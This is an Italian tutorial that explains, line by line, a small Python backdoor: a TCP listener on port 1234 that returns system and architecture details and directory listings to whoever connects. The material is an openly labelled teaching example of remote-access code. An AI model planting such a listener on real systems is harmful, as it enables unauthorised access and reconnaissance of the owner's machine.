

**Breve introduzione e spiegazione di una backdoor:** Una backdoor è un tipo di programma che consente a un utente di ottenere l'accesso non autorizzato a un sistema informatico bypassando le normali misure di sicurezza.

### #IMPORTAZIONE LIBRERIE

`import socket, platform, os` **#Importazione di tre librerie (SOCKET che serve per la comunicazione di rete) - (PLATFORM che serve per ottenere informazioni sui sistemi) e (OS che viene utilizzato per interagire con il file system)**

### #CONFIGURAZIONE SERVER

`SRV_ADDR = ""` **#sta ad indicare l'indirizzo del server (che lasciandolo vuoto, esso ascolterà su tutti gli indirizzi IP disponibili)**

`SRV_PORT = 1234` **# si riferisce alla porta su cui il server ascolterà le connessioni.**

### #CREAZIONE DEL SOCKET

`s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)` **#Viene creato un socket TCP (socket.SOCK\_STREAM) per la comunicazione di rete**

`s.bind((SRV_ADDR, SRV_PORT))` **#Il socket è legato all'indirizzo e alla porta specificati**

`s.listen(1)` **#Il server inizia ad ascoltare connessioni in ingresso con s.listen(1)**

`connection, address = s.accept()` **#Quando un client si connette, viene accettata la connessione e salvata nelle variabili connection e address**

`print("Client connected:", address)` **#Viene stampato l'indirizzo del client connesso**

### #CICLO PER LA GESTIONE DELLA CONNESSIONE

`while 1:` **#Il server entra in un ciclo infinito per gestire la connessione**

`try:` **#Prova a ricevere dati dal client con la limitazione di 1024 byte**

`data = connection.recv(1024)`

`except:continue` **#Se si verifica un'eccezione, continua semplicemente al ciclo successivo**

## #GESTIONE DEI COMANDI RICEVUTI

if(data.decode('utf-8') == '1'): **#Se il comando ricevuto è '1', il server invia al client le informazioni sul sistema operativo e sull'architettura della macchina**

```
tosend = platform.platform() + " " + platform.machine()
```

```
connection.sendall(tosend.encode())
```

## #GESTIONE DEI COMANDI RICEVUTI

elif(data.decode('utf-8') == '2'): **#Se il comando ricevuto è '2', il server attende di ricevere un altro messaggio che dovrebbe contenere il percorso di una directory**

```
data = connection.recv(1024)
```

try: **#Il server tenta di elencare i file nella directory specificata**

```
filelist = os.listdir(data.decode('utf-8'))
```

```
tosend = "" # Inizializza una stringa vuota che sarà usata per costruire la lista di file
```

```
for x in filelist: #Scorre ogni nome di file (o directory) nella lista filelist
```

```
    tosend += "," + x #Aggiunge ciascun nome di file alla stringa tosend, preceduto da una virgola.
```

**Questo significa che tosend sarà una stringa di nomi di file separati da virgole**

```
except:
```

```
    tosend = "Wrong path" #Se la directory non esiste o si verifica un errore, invia "Wrong path" al client
```

```
connection.sendall(tosend.encode())
```

## #GESTIONE DEI COMANDI RICEVUTI

elif(data.decode('utf-8') == '0'): **#Se il comando ricevuto è '0', il server chiude la connessione corrente e ne accetta una nuova**

```
connection.close()
```

```
connection, address = s.accept()
```